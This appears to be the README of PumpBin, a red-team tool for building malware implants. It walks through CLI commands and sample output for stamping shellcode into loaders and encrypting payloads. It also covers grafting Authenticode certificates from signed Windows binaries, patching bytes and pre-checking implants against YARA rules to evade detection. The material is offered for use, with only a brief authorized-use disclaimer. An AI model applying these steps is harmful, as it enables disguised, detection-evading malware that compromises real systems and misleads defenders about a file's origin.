PumpBin is an implant generation platform for red teams. Write a shellcode loader, package it as a .b1n, stamp shellcode into it, and apply post-build transforms in one command.
Not a C2. Not a shellcode generator. Sits between them.
You have a compiled loader binary with PumpBin markers:
$ pumpbin-cli stamp loader.exe payload.bin
PB loader.exe win/exe [*] reading loader
PB loader.exe win/exe [*] injecting shellcode (460 B)
PB loader.exe win/exe [+] wrote stamp.exe
You are writing the loader from scratch:
$ pumpbin-cli new-loader myloader --platform windows --pack
PB myloader win/exe [*] cargo build (release)
PB myloader win/exe [+] packed -> myloader/myloader.b1n
wrote myloader/myloader.b1n
Scaffolded and packed: myloader/myloader.b1n
$ pumpbin-cli generate -p myloader -s payload.bin
PB myloader.b1n win/exe [*] loading plugin
PB myloader.b1n win/exe [*] injecting shellcode (460 B)
PB myloader.b1n win/exe [+] wrote myloader.exe
$ pumpbin-cli --help
Usage: pumpbin-cli [OPTIONS] <COMMAND>
Commands:
stamp Pack a loader binary and stamp shellcode in one step
generate Stamp shellcode into an existing .b1n
batch Stamp shellcode from a directory of .bin files
new-loader Scaffold a new Rust loader crate
pack Build a loader crate and produce a .b1n
create-b1n Pack a pre-built binary into a .b1n
inspect Inspect a .b1n or check a loader binary for markers
build Build from a pumpbin.toml profile
module List and test modules
check Pre-flight YARA scan
convert Reformat shellcode bytes
list-donors Find PEs with embedded Authenticode signatures
completions Print shell completion script
$ pumpbin-cli stamp --help
Usage: pumpbin-cli stamp [OPTIONS] <LOADER> <SHELLCODE>
Arguments:
<LOADER> Compiled loader binary (PE, ELF, or Mach-O)
<SHELLCODE> Raw shellcode file (.bin)
Options:
-o, --output <OUTPUT> Output path [default: stamp.<ext>]
--post <ID[:K=V,K=V]> Post-build module, repeat to chain
--save-b1n <PATH> Save the intermediate .b1n for later reuse
Advanced:
--platform <PLATFORM> Override auto-detected platform
-t, --type <TYPE> Binary type (exe, lib) [default: exe]
--marker <MARKER> Shellcode placeholder [default: $$SHELLCODE$$]
With post-build transforms:
$ pumpbin-cli stamp loader.exe payload.bin \
--post cert-graft:donor=/path/to/signed.exe \
--post byte-patch:patches=4831d2:4833d2 \
--output implant.exe
PB loader.exe win/exe [*] reading loader
PB loader.exe win/exe [*] injecting shellcode (460 B) + cert-graft, byte-patch
PB loader.exe win/exe [+] wrote implant.exe
Save the .b1n for reuse with generate:
$ pumpbin-cli stamp loader.exe payload.bin --save-b1n loader.b1n
PB loader.exe win/exe [*] reading loader
PB loader.exe win/exe [*] saved .b1n -> loader.b1n
PB loader.exe win/exe [*] injecting shellcode (460 B)
PB loader.exe win/exe [+] wrote stamp.exe
$ pumpbin-cli generate -h
Usage: pumpbin-cli generate [OPTIONS] --plugin <PLUGIN> --shellcode <SHELLCODE>
Options:
-p, --plugin <PLUGIN> .b1n plugin pack or crate directory
-s, --shellcode <SHELLCODE> Shellcode file (.bin) or remote URL
-o, --output <OUTPUT> Output path [default: <name>.<ext>]
--post <ID[:K=V,K=V]> Post-build module, repeat to chain
--dry-run Preview without writing
Advanced:
--platform <PLATFORM> Target platform (auto-detected from .b1n)
-t, --type <TYPE> Binary type (auto-detected from .b1n)
--module-config <KEY=VALUE> Override module config
Preview before generating:
$ pumpbin-cli generate -p myloader -s payload.bin --dry-run
DRY RUN: nothing will be written
Plugin: myloader (v0.1.0)
Target: Linux / Exe
Output: myloader.elf
Shellcode: payload.bin (460 B)
Module chain: (none)
Attach transforms with --post. Order matters. Two forms:
--post cert-graft
--post cert-graft:donor=/path/to/signed.exe
--post byte-patch:patches=4831d2:4833d2,mode=all
--post pe-version-info:from_donor=/path/to/signed.exe
List installed modules:
$ pumpbin-cli module list
encrypt:
aes-gcm (built-in) - AES-256-GCM with random key/nonce per generation
xor (built-in) - Single-byte XOR with random non-zero key
format_url:
url-passthrough (built-in) - Embeds the operator URL verbatim
post_build:
pe-version-info (built-in) - Patch VS_VERSION_INFO StringFileInfo entries in a PE
byte-patch (built-in) - Apply in-place hex byte substitutions to the implant (equal-length pairs only)
cert-graft (built-in) - Graft a donor PE's WIN_CERTIFICATE onto the implant (cert blob only; use external `trustmebro` for full clone)
Show args for a specific module:
$ pumpbin-cli module list --options --id byte-patch
post_build:
byte-patch (built-in) - Apply in-place hex byte substitutions to the implant (equal-length pairs only)
patches: string (required)
Comma-separated <hex_from>:<hex_to> pairs; each pair must be equal length
mode: string [default: all]
`all` (replace every occurrence) or `first` (replace only first)
Drop-in modules go in ~/.config/pumpbin/modules/<id>/. A TOML manifest and an executable in any language. See MODULES.md.
Works on .b1n files and compiled loader binaries.
Check a loader for markers before stamping:
$ pumpbin-cli inspect myloader/target/release/myloader
file: myloader/target/release/myloader (306480 bytes)
format: linux
markers:
shellcode "$$SHELLCODE$$" offset 0x4824
size-holder "$$99999$$" offset 0x6B23
capacity: 4096 bytes (4 KiB)
verdict: SUITABLE: ready for pumpbin-cli stamp
One-line summary of a .b1n:
$ pumpbin-cli inspect myloader/myloader.b1n --brief
myloader linux/exe 0 modules
Print a language guide for embedding markers:
$ pumpbin-cli inspect loader.exe --help-markers
Already have a working shellcode loader? You swap out the hardcoded shellcode buffer for PumpBin's marker system. Two things to get right.
- Your shellcode starts at index 0 after stamping.
PumpBin overwrites the entire placeholder region, including the $$SHELLCODE$$ prefix itself. Once stamped, byte 0 of your buffer is byte 0 of your shellcode. Do not skip the first 13 bytes. Do not add any offset for the marker. Read from [0].
- Stop the release compiler from deleting your buffer.
In Rust, wrap the functions returning your shellcode buffer and size holder in std::hint::black_box and mark them #[inline(never)]. Without those, the compiler sees "$$99999$$".parse() returns an error, concludes the shellcode length is always 0, and silently removes the entire buffer. The binary builds clean. The markers are gone. Run pumpbin-cli inspect after building to confirm they are there.
Check your work before stamping:
$ pumpbin-cli inspect yourloader.exe
verdict: SUITABLE: ready for pumpbin-cli stamp
NOT SUITABLE means the markers are missing or the optimizer removed them. If you see NOT SUITABLE on an already-stamped implant, that is expected. The markers were consumed during stamping.
Pre-flight YARA scan before deploying:
$ pumpbin-cli check implant.exe --yara-rules /path/to/elastic-rules/
clean: no YARA matches in implant.exe against /path/to/elastic-rules/
Exits non-zero with matching rule names on a hit.
Find PEs with embedded Authenticode signatures for cert-graft:
$ pumpbin-cli list-donors /Windows/System32/ --embedded-only
embedded (1929416 B at 0x0D04B000) /Windows/System32/MRT.exe
1 embedded, 0 catalog-only, 0 errored (43 files scanned)
git clone https://github.com/KriyosArcane/pumpbin.git
cd pumpbin
cargo build --release --bin pumpbin-cli
GUI build (Linux):
sudo apt-get install libwayland-dev libxkbcommon-dev libgtk-3-dev libssl-dev
cargo build --release --bin pumpbin --features gui
For authorized penetration testing and red team operations only. The authors accept no liability for misuse.
Based on the original b1n project. Release history: CHANGELOG.md.
